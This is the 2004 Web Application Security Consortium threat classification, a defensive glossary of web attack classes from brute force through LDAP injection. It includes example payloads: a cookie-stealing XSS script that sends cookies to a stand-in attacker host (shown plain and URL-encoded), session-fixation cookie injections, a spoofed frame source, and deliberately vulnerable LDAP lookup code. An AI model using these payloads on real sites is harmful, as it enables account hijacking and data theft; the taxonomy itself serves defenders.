Web Application Security Consortium:
Threat Classification
www.webappsec.org
Version: 1.00
Copyright 2004, Web Application Security Consortium. All rights reserved.
Description
The Web Security Threat Classification is a cooperative effort to
clarify and organize the threats to the security of a web site. The
members of the Web Application Security Consortium have created
this project to develop and promote industry standard terminology for
describing these issues. Application developers, security
professionals, software vendors, and compliance auditors will have
the ability to access a consistent language for web security related
issues.
Goals
- Identify all known web application security classes of attack.
- Agree on naming for each class of attack.
- Develop a structured manner to organize the classes of attack.
- Develop documentation that provides generic descriptions of
each class of attack.
Documentation Uses
Further understand and articulate the security risks that threaten web
sites. Enhance secure programming practices to prevent security
issues during application development. Serve as a guideline to
determine if web sites have been designed, developed, and reviewed
against all the known threats. Assist with understanding the
capabilities and selection of web security solutions.
Table of Contents
DESCRIPTION
GOALS
DOCUMENTATION USES
TABLE OF CONTENTS
OVERVIEW
BACKGROUND
CONTRIBUTORS
CHECKLIST
CLASSES OF ATTACK
1 Authentication
1.1 Brute Force
1.2 Insufficient Authentication
1.3 Weak Password Recovery Validation
2 Authorization
2.1 Credential/Session Prediction
2.2 Insufficient Authorization
2.3 Insufficient Session Expiration
2.4 Session Fixation
3 Client-side Attacks
3.1 Content Spoofing
3.2 Cross-site Scripting
4 Command Execution
4.1 Buffer Overflow
4.2 Format String Attack
4.3 LDAP Injection
4.4 OS Commanding
4.5 SQL Injection
4.6 SSI Injection
4.7 XPath Injection
5 Information Disclosure
5.1 Directory Indexing
5.2 Information Leakage
5.3 Path Traversal
5.4 Predictable Resource Location
6 Logical Attacks
6.1 Abuse of Functionality
6.2 Denial of Service
6.3 Insufficient Anti-automation
6.4 Insufficient Process Validation
CONTACT
APPENDIX
1.1 HTTP Response Splitting
1.2 Web Server/Application Fingerprinting
LICENSE
Overview
For many organizations, web sites serve as mission critical systems
that must operate smoothly to process millions of dollars in daily
online transactions. However, the actual value of a web site needs to
be appraised on a case-by-case basis for each organization. Tangible
and intangible value of anything is difficult to measure in monetary
figures alone.
Web security vulnerabilities continually impact the risk of a web site.
When any web security vulnerability is identified, performing the
attack requires using at least one of several application attack
techniques. These techniques are commonly referred to as the class
of attack (the way a security vulnerability is taken advantage of).
Many of these types of attack have recognizable names such as
Buffer Overflows, SQL Injection, and Cross-site Scripting. As a
baseline, the class of attack is the method the Web Security Threat
Classification will use to explain and organize the threats to a web
site.
The Web Security Threat Classification will compile and distill the
known unique classes of attack, which have presented a threat to
web sites in the past. Each class of attack will be given a standard
name and explained with thorough documentation discussing the key
points. Each class will also be organized in a flexible structure.
The formation of a Web Security Threat Classification will be of
exceptional value to application developers, security professionals,
software vendors or anyone else with an interest in web security.
Independent security review methodologies, secure development
guidelines, and product/service capability requirements will all benefit
from the effort.
Background
Over the last several years, the web security industry has adopted
dozens of confusing and esoteric terms describing vulnerability
research. Terms such as Cross-site Scripting, Parameter Tampering,
and Cookie Poisoning have all been given inconsistent names and
double meanings attempting to describe their impact.
For example, when a web site is vulnerable to Cross-site Scripting,
the security issue can result in the theft of a users cookie. Once the
cookie has been compromised, this enables someone to perform a
session hijacking and take over the user's online account. To take
advantage of the vulnerability, an attacker uses data input
manipulation by way of URL parameter tampering.
This previous attack description is confusing and can be described
using all manner of technical jargon. This complex and
interchangeable vocabulary causes frustration and disagreement in
open forums, even when the participants agree on the core concepts.
Through the years, there has been no well-documented,
standardized, complete, or accurate resource describing these
issues. In doing our work, we've relied upon tidbits of information
from a handful of books, dozens of white papers and hundreds of
presentations.
When web security newcomers arrive to study, they quickly become
overwhelmed and confused by the lack of standard language present.
This confusion traps the web security field in a blur and slows
ongoing progress. We need a formal, standardized approach to
discuss web security issues as we continue to improve the security of
the Web.
Contributors
Robert Auger - SPI Dynamics
Ryan Barnett - Center for Internet Security (Apache Project Lead)
Yuval Ben-Itzhak - Individual
Erik Caso - NT OBJECTives
Cesar Cerrudo - Application Security Inc.
Sacha Faust - SPI Dynamics
JD Glaser - NT OBJECTives
Jeremiah Grossman - WhiteHat Security
Sverre H. Huseby - Individual
Amit Klein - Sanctum
Mitja Kolsek - Acros Security
Aaron C. Newman - Application Security Inc.
Steve Orrin - Sanctum
Bill Pennington - WhiteHat Security
Ray Pompon - Conjungi Networks
Mike Shema - NT OBJECTives
Ory Segal - Sanctum
Caleb Sima - SPI Dynamics
Checklist
Authentication
Brute Force:
A Brute Force attack is an automated process of trial and error used to
guess a person's username, password, credit-card number or
cryptographic key.
Insufficient Authentication:
Insufficient Authentication occurs when a web site permits an attacker to
access sensitive content or functionality without having to properly
authenticate.
Weak Password Recovery Validation:
Weak Password Recovery Validation is when a web site permits an
attacker to illegally obtain, change or recover another user's password.
Authorization
Credential/Session Prediction:
Credential/Session Prediction is a method of hijacking or impersonating a
web site user.
Insufficient Authorization:
Insufficient Authorization is when a web site permits access to sensitive
content or functionality that should require increased access control
restrictions.
Insufficient Session Expiration:
Insufficient Session Expiration is when a web site permits an attacker to
reuse old session credentials or session IDs for authorization.
Session Fixation:
Session Fixation is an attack technique that forces a user's session ID to
an explicit value.
Client-side Attacks
Content Spoofing:
Content Spoofing is an attack technique used to trick a user into believing
that certain content appearing on a web site is legitimate and not from an
external source.
Cross-site Scripting:
Cross-site Scripting (XSS) is an attack technique that forces a web site to
echo attacker-supplied executable code, which loads in a user's browser.
Command Execution
Buffer Overflow:
Buffer Overflow exploits are attacks that alter the flow of an application by
overwriting parts of memory.
Format String Attack:
Format String Attacks alter the flow of an application by using string
formatting library features to access other memory space.
LDAP Injection:
LDAP Injection is an attack technique used to exploit web sites that
construct LDAP statements from user-supplied input.
OS Commanding:
OS Commanding is an attack technique used to exploit web sites by
executing Operating System commands through manipulation of
application input.
SQL Injection:
SQL Injection is an attack technique used to exploit web sites that
construct SQL statements from user-supplied input.
SSI Injection:
SSI Injection (Server-side Include) is a server-side exploit technique that
allows an attacker to send code into a web application, which will later be
executed locally by the web server.
XPath Injection:
XPath Injection is an attack technique used to exploit web sites that
construct XPath queries from user-supplied input.
Information Disclosure
Directory Indexing:
Automatic directory listing/indexing is a web server function that lists all of
the files within a requested directory if the normal base file is not present.
Information Leakage:
Information Leakage is when a web site reveals sensitive data, such as
developer comments or error messages, which may aid an attacker in
exploiting the system.
Path Traversal:
The Path Traversal attack technique forces access to files, directories,
and commands that potentially reside outside the web document root
directory.
Predictable Resource Location
Predictable Resource Location is an attack technique used to uncover
hidden web site content and functionality.
Logical Attacks
Abuse of Functionality:
Abuse of Functionality is an attack technique that uses a web site's own
features and functionality to consume, defraud, or circumvents access
controls mechanisms.
Denial of Service:
Denial of Service (DoS) is an attack technique with the intent of
preventing a web site from serving normal user activity.
Insufficient Anti-automation:
Insufficient Anti-automation is when a web site permits an attacker to
automate a process that should only be performed manually.
Insufficient Process Validation:
Insufficient Process Validation is when a web site permits an attacker to
bypass or circumvent the intended flow control of an application.
Classes of Attack
1 Authentication
The Authentication section covers attacks that target a web site's
method of validating the identity of a user, service or application.
Authentication is performed using at least one of three mechanisms:
"something you have", "something you know" or "something you are".
This section will discuss the attacks used to circumvent or exploit the
authentication process of a web site.
1.1 Brute Force
A Brute Force attack is an automated process of trial and error used
to guess a person's username, password, credit-card number or
cryptographic key.
Many systems will allow the use of weak passwords or cryptographic
keys, and users will often choose easy to guess passwords, possibly
found in a dictionary. Given this scenario, an attacker would cycle
though the dictionary word by word, generating thousands or
potentially millions of incorrect guesses searching for the valid
password. When a guessed password allows access to the system,
the brute force attack has been successful and the attacker is able
access the account.
The same trial and error technique is also applicable to guessing
encryption keys. When a web site uses a weak or small key size, its
possible for an attacker to guess a correct key by testing all possible
keys.
Essentially there are two types of brute force attacks, (normal) brute
force and reverse brute force. A normal brute force attack uses a
single username against many passwords. A reverse brute force
attack uses many usernames against one password. In systems with
millions of user accounts, the odds of multiple users having the same
password dramatically increases. While brute force techniques are
highly popular and often successful, they can take hours, weeks or
years to complete.
Example
Username = Jon
Passwords = smith, michael-jordan, [pet names], [birthdays], [car
names],
Usernames = Jon, Dan, Ed, Sara, Barbara, .....
Password = 12345678
References
"Brute Force Attack", Imperva Glossary
http://www.imperva.com/application_defense_center/glossary/brute_f
orce.html
"iDefense: Brute-Force Exploitation of Web Application Session ID's",
By David Endler - iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf
1.2 Insufficient Authentication
Insufficient Authentication occurs when a web site permits an attacker
to access sensitive content or functionality without having to properly
authenticate. Web-based administration tools are a good example of
web sites providing access to sensitive functionality. Depending on
the specific online resource, these web applications should not be
directly accessible without the user required to properly verify their
identity.
To get around setting up authentication, some resources are
protected by "hiding" the specific location and not linking the location
into the main web site or other public places. However, this approach
is nothing more than "Security Through Obscurity". Its important to
understand that simply because a resource is unknown to an
attacker, it still remains accessible directly through a specific URL.
The specific URL could be discovered through a Brute Force probing
for common file and directory locations (/admin for example), error
messages, referrer logs, or perhaps documented in help files. These
resources, whether they are content or functionality driven, should be
adequately protected.
Example
Many web applications have been designed with administrative
functionality location directory off the root directory (/admin/). This
directory is usually never linked to anywhere on the web site, but can
still be accessed using a standard web browser.
Since the user or developer never expected anyone to view this page
since its not linked, adding authentication is many times overlooked.
If an attacker were to simply visit this page, they would obtain
complete administrative access to the web site.
1.3 Weak Password Recovery Validation
Weak Password Recovery Validation is when a web site permits an
attacker to illegally obtain, change or recover another user's
password. Conventional web site authentication methods require
users to select and remember a password or passphrase. The user
should be the only person that knows the password and it must be
remembered precisely. As time passes, a user's ability to remember
a password fades. The matter is further complicated when the
average user visits 20 sites requiring them to supply a password.
(RSA Survey: http://news.bbc.co.uk/1/hi/technology/3639679.stm)
Thus, Password Recovery is an important part in servicing online
users.
Examples of automated password recovery processes include
requiring the user to answer a "secret question" defined as part of the
user registration process. This question can either be selected from a
list of canned questions or supplied by the user. Another mechanism
in use is having the user provide a "hint" during registration that will
help the user remember his password. Other mechanisms require the
user to provide several pieces of personal data such as their social
security number, home address, zip code etc. to validate their
identity. After the user has proven who they are, the recovery system
will display or e-mail them a new password.
A web site is considered to have Weak Password Recovery
Validation when an attacker is able to foil the recovery mechanism
being used. This happens when the information required to validate a
user's identity for recovery is either easily guessed or can be
circumvented. Password recovery systems may be compromised
through the use of brute force attacks, inherent system weaknesses,
or easily guessed secret questions.
Example
(Weak methods of password recovery)
Information Verification
Many web sites only require the user to provide their e-mail address
in combination with their home address and telephone number. This
information can be easily obtained from any number of online white
pages. As a result, the verification information is not very secret.
Further, the information can be compromised via other methods such
as Cross-site Scripting and Phishing Scams.
Password Hints
A web site using hints to help remind the user of their password can
be attacked because the hint aids Brute Force attacks. A user may
have fairly good password of "122277King" with a corresponding
password hint of "bday+fav author". An attacker can glean from this
hint that the user's password is a combination of the users birthday
and the user's favorite author. This helps narrowing the dictionary
Brute Force attack against the password significantly.
Secret Question and Answer
A user's password could be "Richmond" with a secret question of
"Where were you born". An attacker could then limit a secret answer
Brute Force attack to city names. Furthermore, if the attacker knows
a little about the target user, learning their birthplace is also an easy
task.
References
"Protecting Secret Keys with Personal Entropy", By Carl Ellison, C. Hall, R. Milbert, and B. Schneier
http://www.schneier.com/paper-personal-entropy.html
"Emergency Key Recovery without Third Parties", Carl Ellison
http://theworld.com/~cme/html/rump96.html
2 Authorization
The Authorization section covers attacks that target a web site's
method of determining if a user, service, or application has the
necessary permissions to perform a requested action. For example,
many web sites should only allow certain users to access specific
content or functionality. Other times a user's access to other
resources might be restricted. Using various techniques, an attacker
can fool a web site into increasing their privileges to protected areas.
2.1 Credential/Session Prediction
Credential/Session Prediction is a method of hijacking or
impersonating a web site user. Deducing or guessing the unique
value that identifies a particular session or user accomplishes the
attack. Also known as Session Hijacking, the consequences could
allow attackers the ability to issue web site requests with the
compromised user's privileges.
Many web sites are designed to authenticate and track a user when
communication is first established. To do this, users must prove their
identity to the web site, typically by supplying a username/password
(credentials) combination. Rather than passing these confidential
credentials back and forth with each transaction, web sites will
generate a unique "session ID" to identify the user session as
authenticated. Subsequent communication between the user and the
web site is tagged with the session ID as "proof" of the authenticated
session. If an attacker is able predict or guess the session ID of
another user, fraudulent activity is possible.
Example
Many web sites attempt to generate session IDs using proprietary
algorithms. These custom methodologies might generation session
IDs by simply incrementing static numbers. Or there could be more
complex procedures such as factoring in time and other computer
specific variables.
The session ID is then stored in a cookie, hidden form-field, or URL. If
an attacker can determine the algorithm used to generate the session
ID, an attack can be mounted as follows:
1) attacker connects to the web application acquiring the current
session ID.
2) attacker calculates or Brute Forces the next session ID.
3) attacker switches the current value in the cookie/hidden form-
field/URL and assumes the identity of the next user.
References
"iDefense: Brute-Force Exploitation of Web Application Session ID's", By David Endler - iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf
"Best Practices in Managing HTTP-Based Client Sessions", Gunter Ollmann - X-Force Security Assessment Services EMEA
http://www.itsecurity.com/papers/iss9.htm
"A Guide to Web Authentication Alternatives", Jan Wolter
http://www.unixpapa.com/auth/homebuilt.html
2.2 Insufficient Authorization
Insufficient Authorization is when a web site permits access to
sensitive content or functionality that should require increased access
control restrictions. When a user is authenticated to a web site, it
does not necessarily mean that he should have full access to all
content and that functionality should be granted arbitrarily.
Authorization procedures are performed after authentication,
enforcing what a user, service or application is permitted to do.
Thoughtful restrictions should govern particular web site activity
according to policy. Sensitive portions of a web site may need to be
restricted to everyone expect to perhaps an administrator.
Example
In the past, many web sites have stored administrative content and/or
functionality the in hidden directories such as /admin or /logs. If an
attacker was to directly request these directories, he would be
allowed access. He may thus be able to reconfigure the web server,
access sensitive information or compromise the web site.
References
"Brute Force Attack", Imperva Glossary
http://www.imperva.com/application_defense_center/glossary/brute_force.html
"iDefense: Brute-Force Exploitation of Web Application Session ID's", By David Endler - iDEFENSE Labs
http://www.cgisecurity.com/lib/SessionIDs.pdf
2.3 Insufficient Session Expiration
Insufficient Session Expiration is when a web site permits an attacker
to reuse old session credentials or session IDs for authorization.
Insufficient Session Expiration increases a web site's exposure to
attacks that steal or impersonate other users.
Since HTTP is a stateless protocol, web sites commonly use session
IDs to uniquely identify a user from request to request. Consequently,
each session ID's confidentiality must be maintained in order to
prevent multiple users from accessing the same account. A stolen
session ID can be used to view another user's account or perform a
fraudulent transaction.
The lack of proper session expiration may improve the likely success
of certain attacks. For example, an attacker may intercept a session
ID, possibly via a network sniffer or Cross-site Scripting attack.
Although short session expiration times do not help if a stolen token
is immediately used, they will protect against ongoing replaying of the
session ID. In another scenario, a user might access a web site from
a shared computer (such as at a library, Internet cafe, or open work
environment). Insufficient Session Expiration could allow an attacker
to use the browser's back button to access web pages previously
accessed by the victim.
A long expiration time increases an attacker's chance of successfully
guessing a valid session ID. The long length of time increases the
number of concurrent and open sessions, which enlarges the pool of
numbers an attacker might guess.
Example
In a shared computing environment (more than one person has
unrestricted physical access to a computer), Insufficient Session
Expiration can be exploited to view another user's web activity. If a
web site's logout function merely sends the victim to the site's home
page without ending the session, another user could go through the
browser's page history and view pages accessed by the victim. Since
the victim's session ID has not been expired, the attacker would be
able to see the victim's session without being required to supply
authentication credentials.
References
"Dos and Don'ts of Client Authentication on the Web", Kevin Fu,
Emil Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer Science
http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf
2.4 Session Fixation
Session Fixation is an attack technique that forces a user's session
ID to an explicit value. Depending on the functionality of the target
web site, a number of techniques can be utilized to "fix" the session
ID value. These techniques range from Cross-site Scripting exploits
to peppering the web site with previously made HTTP requests. After
a user's session ID has been fixed, the attacker will wait for them to
login. Once the user does so, the attacker uses the predefined
session ID value to assume their online identity.
Generally speaking there are two types of session management
systems when it comes to ID values. The first type is "permissive"
systems that allow web browsers to specify any ID. The second type
is "strict" systems that only accept server-side generated values. With
permissive systems, arbitrary session IDs are maintained without
contact with the web site. Strict systems require the attacker to
maintain the "trap-session", with periodic web site contact, preventing
inactivity timeouts.
Without active protection against session fixation, the attack can be
mounted against any web site using sessions to identify
authenticated users. Web sites using sessions IDs are normally
cookie-based, but URLs and hidden form-fields are used as well.
Unfortunately, cookie-based sessions are the easiest to attack. Most
of the currently identified attack methods are aimed toward the
fixation of cookies.
In contrast to stealing a user's session ID after they have logged into
a web site, session fixation provides a much wider window of
opportunity. The active part of the attack takes place before the user
logs in.
Example
The session fixation attack is normally a three step process:
1) Session set-up
The attacker sets up a "trap-session" for the target web site and
obtains that session's ID. Or, the attacker may select an arbitrary
session ID used in the attack. In some cases, the established trap
session value must be maintained (kept alive) with repeated web
site contact.
2) Session fixation
The attacker introduces the trap session value into the user's
browser and fixes the user's session ID.
3) Session entrance
The attacker waits until the user logs into the target web site.
When the user does so, the fixed session ID value will be used
and the attacker may take over.
Fixing a user's session ID value can be achieved with the following
techniques:
Issuing a new session ID cookie value using a client-side script
A Cross-site Scripting vulnerability present on any web site in the
domain can be used to modify the current cookie value.
Code Snippet:
http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>.idc
Issuing a cookie using the META tag
This method is similar to the previous one, but also effective when
Cross-site Scripting countermeasures prevent the injection of HTML
script tags, but not meta tags.
Code Snippet:
http://example/<meta%20http-equiv=Set-Cookie%20
content="sessionid=1234;%20domain=.example.dom">.idc
Issuing a cookie using an HTTP response header
The attacker forces either the target web site, or any other site in the
domain, to issue a session ID cookie. This can be achieved in many
ways:
_ Breaking into a web server in the domain (e.g., a poorly
maintained WAP server)
_ Poisoning a user's DNS server, effectively adding the attacker's
web server to the domain
_ Setting up a malicious web server in the domain (e.g., on a
workstation in Windows 2000 domain, all workstations are also
in the DNS domain)
_ Exploiting an HTTP response splitting attack
Note: A long-term Session Fixation attack can be achieved by issuing
a persistent cookie (e.g., expiring in 10 years), which will keep the
session fixed even after the user restarts the computer.
Code Snippet:
http://example/<script>document.cookie="sessionid=1234;%20
Expires=Friday,%201-Jan2010%2000:00:00%20GMT";</script>.idc
References
"Session Fixation Vulnerability in Web-based Applications", By Mitja Kolsek - Acros Security
http://www.acrossecurity.com/papers/session_fixation.pdf
"Divide and Conquer", By Amit Klein - Sanctum
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf
3 Client-side Attacks
The Client-side Attacks section focuses on the abuse or exploitation
of a web site's users. When a user visits a web site, trust is
established between the two parties both technologically and
psychologically. A user expects web sites they visit to deliver valid
content. A user also expects the web site not to attack them during
their stay. By leveraging these trust relationship expectations, an
attacker may employ several techniques to exploit the user.
3.1 Content Spoofing
Content Spoofing is an attack technique used to trick a user into
believing that certain content appearing on a web site is legitimate
and not from an external source.
Some web pages are served using dynamically built HTML content
sources. For example, the source location of a frame (<frame
src="http://foo.example/file.html">) could be specified
by a URL parameter value.
(http://foo.example/page?frame_src=http://foo.examp
le/file.html). An attacker may be able to replace the
"frame_src" parameter value with
"frame_src=http://attacker.example/spoof.html". When
the resulting web page is served, the browser location bar visibly
remains under the user expected domain (foo.example), but the
foreign data (attacker.example) is shrouded by legitimate
content.
Specially crafted links can be sent to a user via e-mail, instant
messages, left on bulletin board postings, or forced upon users by a
Cross-site Scripting attack. If an attacker gets a user to visit a web
page designated by their malicious URL, the user will believe he is
viewing authentic content from one location when he is not. Users will
implicitly trust the spoofed content since the browser location bar
displays http://foo.example, when in fact the underlying HTML
frame is referencing http://attacker.example.
This attack exploits the trust relationship established between the
user and the web site. The technique has been used to create fake
web pages including login forms, defacements, false press releases,
etc.
Example
Creating a spoofed press release. Lets say a web site uses
dynamically created HTML frames for their press release web pages.
A user would visit a link such as
(http://foo.example/pr?pg=http://foo.example/pr/010
12003.html). The resulting web page HTML would be:
Code Snippet:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content"
SRC="http://foo.example/pr/01012003.html>
</FRAMESET>
</HTML>
The "pr" web application in the example above creates the HTML
with a static menu and a dynamically generated FRAME SRC. The
"pr_content" frame pulls its source from the URL parameter value
of "pg" to display the requested press release content. But what if an
attacker altered the normal URL to
http://foo.example/pr?pg=http://attacker.example/sp
oofed_press_release.html? Without properly sanity checking
the "pg" value, the resulting HTML would be:
Code Snippet:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC="
http://attacker.example/spoofed_press_release.html">
</FRAMESET>
</HTML>
To the end user, the "attacker.example" spoofed content appears
authentic and delivered from a legitimate source.
References
"A new spoof: all frames-based sites are vulnerable" - SecureXpert
Labs
http://tbtf.com/archive/11-17-98.html#s02
3.2 Cross-site Scripting
Cross-site Scripting (XSS) is an attack technique that forces a web
site to echo attacker-supplied executable code, which loads in a
user's browser. The code itself is usually written in HTML/JavaScript,
but may also extend to VBScript, ActiveX, Java, Flash, or any other
browser-supported technology.
When an attacker gets a user's browser to execute his code, the
code will run within the security context (or zone) of the hosting web
site. With this level of privilege, the code has the ability to read,
modify and transmit any sensitive data accessible by the browser. A
Cross-site Scripted user could have his account hijacked (cookie
theft), their browser redirected to another location, or possibly shown
fraudulent content delivered by the web site they are visiting. Cross-
site Scripting attacks essentially compromise the trust relationship
between a user and the web site.
There are two types of Cross-site Scripting attacks, non-persistent
and persistent. Non-persistent attacks require a user to visit a
specially crafted link laced with malicious code. Upon visiting the link,
the code embedded in the URL will be echoed and executed within
the user's web browser. Persistent attacks occur when the malicious
code is submitted to a web site where it's stored for a period of time.
Examples of an attacker's favorite targets often include message
board posts, web mail messages, and web chat software. The
unsuspecting user is not required to click on any link, just simply view
the web page containing the code.
Example
Persistent Attack
Many web sites host bulletin boards where registered users may post
messages. A registered user is commonly tracked using a session ID
cookie authorizing them to post. If an attacker were to post a
message containing a specially crafted JavaScript, a user reading
this message could have their cookies and their account
compromised.
Cookie Stealing Code Snippet:
<SCRIPT>
document.location= 'http://attackerhost.example/cgi-
bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
Non-Persistent Attack
Many web portals offer a personalized view of a web site and greet a
logged in user with "Welcome, <your username>". Sometimes the
data referencing a logged in user are stored within the query string of
a URL and echoed to the screen
Portal URL example:
http://portal.example/index.php?sessionid=12312312&
username=Joe
In the example above we see that the username "Joe" is stored in the
URL. The resulting web page displays a "Welcome, Joe" message. If
an attacker were to modify the username field in the URL, inserting a
cookie-stealing JavaScript, it would possible to gain control of the
user's account.
A large percentage of people will be suspicious if they see JavaScript
embedded in a URL, so most of the time an attacker will URL Encode
their malicious payload similar to the example below.
URL Encoded example of Cookie Stealing URL:
http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E
Decoded example of Cookie Stealing URL:
http://portal.example/index.php?sessionid=12312312&
username=<script>document.location='http://attacker
host.example/cgi-
bin/cookiesteal.cgi?'+document.cookie</script>
References
"CERT? Advisory CA-2000-02 Malicious HTML Tags Embedded in
Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html
"The Cross Site Scripting FAQ" - CGISecurity.com
http://www.cgisecurity.com/articles/xss-faq.shtml
"Cross Site Scripting Info"
http://httpd.apache.org/info/css-security/
"24 Character entity references in HTML 4"
http://www.w3.org/TR/html4/sgml/entities.html
"Understanding Malicious Content Mitigation for Web Developers"
http://www.cert.org/tech_tips/malicious_code_mitigation.html
"Cross-site Scripting: Are your web applications vulnerable?", By
Kevin Spett - SPI Dynamics
http://www.spidynamics.com/whitepapers/SPIcross-sitescripting.pdf
"Cross-site Scripting Explained", By Amit Klein - Sanctum
http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf
"HTML Code Injection and Cross-site Scripting", By Gunter Ollmann
http://www.technicalinfo.net/papers/CSS.html
4 Command Execution
The Command Execution section covers attacks designed to execute
remote commands on the web site. All web sites utilize user-supplied
input to fulfill requests. Often these user-supplied data are used to
create construct commands resulting in dynamic web page content. If
this process is done insecurely, an attacker could alter command
execution.
4.1 Buffer Overflow
Buffer Overflow exploits are attacks that alter the flow of an
application by overwriting parts of memory. Buffer Overflow is a
common software flaw that results in an error condition. This error
condition occurs when data written to memory exceed the allocated
size of the buffer. As the buffer is overflowed, adjacent memory
addresses are overwritten causing the software to fault or crash.
When unrestricted, properly-crafted input can be used to overflow the
buffer resulting in a number of security issues.
A Buffer Overflow can be used as a Denial of Service attack when
memory is corrupted, resulting in software failure. Even more critical
is the ability of a Buffer Overflow attack to alter application flow and
force unintended actions. This scenario can occur in several ways.
Buffer Overflow vulnerabilities have been used to overwrite stack
pointers and redirect the program to execute malicious instructions.
Buffer Overflows have also been used to change program variables.
Buffer Overflow vulnerabilities have become quite common in the
information security industry and have often plagued web servers.
However, they have not been commonly seen or exploited at the web
application layer itself. The primary reason is that an attacker needs
to analyze the application source code or the software binaries. Since
the attacker must exploit custom code on a remote system, they
would have to perform the attack blind, making success very difficult.
Buffer Overflows vulnerabilities most commonly occur in
programming languages such as C and C++. A Buffer Overflow can
occur in a CGI program or when a web page accesses a C program.
References
"Inside the Buffer Overflow Attack: Mechanism, Method and Prevention", By Mark E. Donaldson - GSEC
http://www.sans.org/rr/code/inside_buffer.php
"w00w00 on Heap Overflows", By Matt Conover - w00w00 Security Team
http://www.w00w00.org/files/articles/heaptut.txt
"Smashing The Stack For Fun And Profit", By Aleph One - Phrack 49
http://www.insecure.org/stf/smashstack.txt
4.2 Format String Attack
Format String Attacks alter the flow of an application by using string
formatting library features to access other memory space.
Vulnerabilities occur when user-supplied data are used directly as
formatting string input for certain C/C++ functions (e.g. fprintf,
printf, sprintf, setproctitle, syslog, ...).
If an attacker passes a format string consisting of printf conversion
characters (e.g. "%f", "%p", "%n", etc.) as parameter value to the web
application, they may:
_ Execute arbitrary code on the server
_ Read values off the stack
_ Cause segmentation faults / software crashes
Example
Lets assume that a web application has a parameter
emailAddress, dictated by the user. The application prints the
value of this variable by using the printf function:
printf(emailAddress);
If the value sent to the emailAddress parameter contains
conversion characters, printf will parse the conversion characters
and use the additionally supplied corresponding arguments. If no
such arguments actually exist, data from the stack will be used in
accordance to the order expected by the printf function.
The possible uses of the Format String Attacks in such a case can
be:
_ Read data from the stack: If the output stream of the printf
function is presented back to the attacker, he may read values
on the stack by sending the conversion character "%x" (one or
more times).
_ Read character strings from the process' memory: If the output
stream of the printf function is presented back to the attacker,
he can read character strings at arbitrary memory locations by
using the "%s" conversion character (and other conversion
characters in order to reach specific locations).
_ Write an integer to locations in the process' memory: By using
the "%n" conversion character, an attacker may write an integer
value to any location in memory. (E.g. overwrite important
program flags that control access privileges, or overwrite return
addresses on the stack, etc.)
References
"(Maybe) the first publicly known Format Strings exploit"
http://archives.neohapsis.com/archives/bugtraq/1999-q3/1009.html
"Analysis of format string bugs", By Andreas Thuemmel
http://downloads.securityfocus.com/library/format-bug-analysis.pdf
"Format string input validation error in wu-ftpd site_exec() function"
http://www.kb.cert.org/vuls/id/29823
4.3 LDAP Injection
LDAP Injection is an attack technique used to exploit web sites that
construct LDAP statements from user-supplied input.
Lightweight Directory Access Protocol (LDAP) is an open-standard
protocol for both querying and manipulating X.500 directory services.
The LDAP protocol runs over Internet transport protocols, such as
TCP. Web applications may use user-supplied input to create custom
LDAP statements for dynamic web page requests.
When a web application fails to properly sanitize user-supplied input,
it is possible for an attacker to alter the construction of an LDAP
statement. When an attacker is able to modify an LDAP statement,
the process will run with the same permissions as the component that
executed the command. (e.g. Database server, Web application
server, Web server, etc.). This can cause serious security problems
where the permissions grant the rights to query, modify or remove
anything inside the LDAP tree.
The same advanced exploitation techniques available in SQL
Injection can also be similarly applied in LDAP Injection.
Example
Vulnerable code with comments:
line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4: Dim userName
line 5: Dim filter
line 6: Dim ldapObj
line 7:
line 8: Const LDAP_SERVER = "ldap.example"
line 9:
line 10: userName = Request.QueryString("user")
line 11:
line 12: if( userName = "" ) then
line 13: Response.Write("<b>Invalid request. Please specify a valid user name</b><br>")
line 14: Response.End()
line 15: end if
line 16:
line 17:
line 18: filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry
line 19:
line 20:
line 21: 'Creating the LDAP object and setting the base dn
line 22: Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")
line 23: ldapObj.ServerName = LDAP_SERVER
line 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"
line 25:
line 26: 'Setting the search filter
line 27: ldapObj.SearchFilter = filter
line 28:
line 29: ldapObj.Search
line 30:
line 31: 'Showing the user information
line 32: While ldapObj.NextResult = 1
line 33: Response.Write("<p>")
line 34:
line 35: Response.Write("<b><u>User information for : " +ldapObj.AttrValue(0) + "</u></b><br>")
line 36: For i = 0 To ldapObj.AttrCount -1
line 37: Response.Write("<b>" + ldapObj.AttrType(i) +"</b> : " + ldapObj.AttrValue(i) + "<br>" )
line 38: Next
line 39: Response.Write("</p>")
line 40: Wend
line 41: %>
line 42: </body>
line 43: </html>
Looking at the code, we see on line 10 that the userName variable is
initialized with the parameter user and then quickly validated to see
if the value is empty. If the value is not empty, the userName is used
to initialize the filter variable on line 18. This new variable is
directly used to construct an LDAP query that will be use in the call to
SearchFilter on line 27. In this scenario, the attacker has
complete control over what will be queried on the LDAP server, and
he will get the result of the query when the code hits line 32 to 40
where all the results and their attributes are displayed back to the
user.
Attack Example
http://example/ldapsearch.asp?user=*
In the example above, we send the * character in the user parameter
which will result in the filter variable in the code to be initialized with
(uid=*). The resulting LDAP statement will make the server return
any object that contains a uid attribute.
References
